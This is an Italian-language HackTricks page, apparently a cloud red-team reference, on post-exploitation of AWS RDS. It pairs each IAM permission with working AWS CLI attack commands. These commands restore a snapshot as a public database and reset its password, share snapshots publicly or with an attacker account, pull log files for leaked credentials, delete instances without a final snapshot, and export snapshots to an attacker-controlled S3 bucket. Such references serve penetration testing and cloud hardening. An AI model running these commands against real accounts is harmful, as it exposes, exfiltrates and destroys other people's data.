AWS - RDS Post Exploitation

Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

RDS

Per ulteriori informazioni controlla:

pageAWS - Relational Database (RDS) Enum

rds:CreateDBSnapshot, rds:RestoreDBInstanceFromDBSnapshot, rds:ModifyDBInstance

Se l'attaccante ha abbastanza permessi, potrebbe rendere un DB accessibile pubblicamente creando uno snapshot del DB, e poi un DB accessibile pubblicamente dallo snapshot.

aws rds describe-db-instances # Get DB identifier

aws rds create-db-snapshot \
--db-instance-identifier <db-id> \
--db-snapshot-identifier cloudgoat

# Get subnet groups & security groups
aws rds describe-db-subnet-groups
aws ec2 describe-security-groups

aws rds restore-db-instance-from-db-snapshot \
--db-instance-identifier "new-db-not-malicious" \
--db-snapshot-identifier <scapshotId> \
--db-subnet-group-name <db subnet group> \
--publicly-accessible \
--vpc-security-group-ids <ec2-security group>

aws rds modify-db-instance \
--db-instance-identifier "new-db-not-malicious" \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# Connect to the new DB after a few mins

rds:ModifyDBSnapshotAttribute, rds:CreateDBSnapshot

Un attaccante con queste autorizzazioni potrebbe creare uno snapshot di un DB e renderlo pubblicamente disponibile. Quindi, potrebbe semplicemente creare nel suo account un DB da quell'istantanea.

Se l'attaccante non ha il permesso rds:CreateDBSnapshot, potrebbe comunque rendere pubblici altri snapshot creati.

# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>

# Make it public/share with attackers account
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"}

rds:DownloadDBLogFilePortion

Un attaccante con il permesso rds:DownloadDBLogFilePortion può scaricare porzioni dei file di log di un'istanza RDS. Se dati sensibili o credenziali di accesso vengono accidentalmente registrati nei log, l'attaccante potrebbe potenzialmente utilizzare tali informazioni per aumentare i propri privilegi o eseguire azioni non autorizzate.

aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text

Impatto Potenziale: Accesso a informazioni sensibili o azioni non autorizzate utilizzando credenziali trapelate.

rds:DeleteDBInstance

Un attaccante con queste autorizzazioni può DoS esistenti istanze RDS.

# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot

Impatto potenziale: Cancellazione delle istanze RDS esistenti e potenziale perdita di dati.

rds:StartExportTask

TODO: Test

Un attaccante con questa autorizzazione può esportare uno snapshot di un'istanza RDS in un bucket S3. Se l'attaccante ha il controllo sul bucket S3 di destinazione, potrebbe potenzialmente accedere a dati sensibili all'interno dello snapshot esportato.

aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id

Impatto potenziale: Accesso ai dati sensibili nello snapshot esportato.

Impara l'hacking su AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated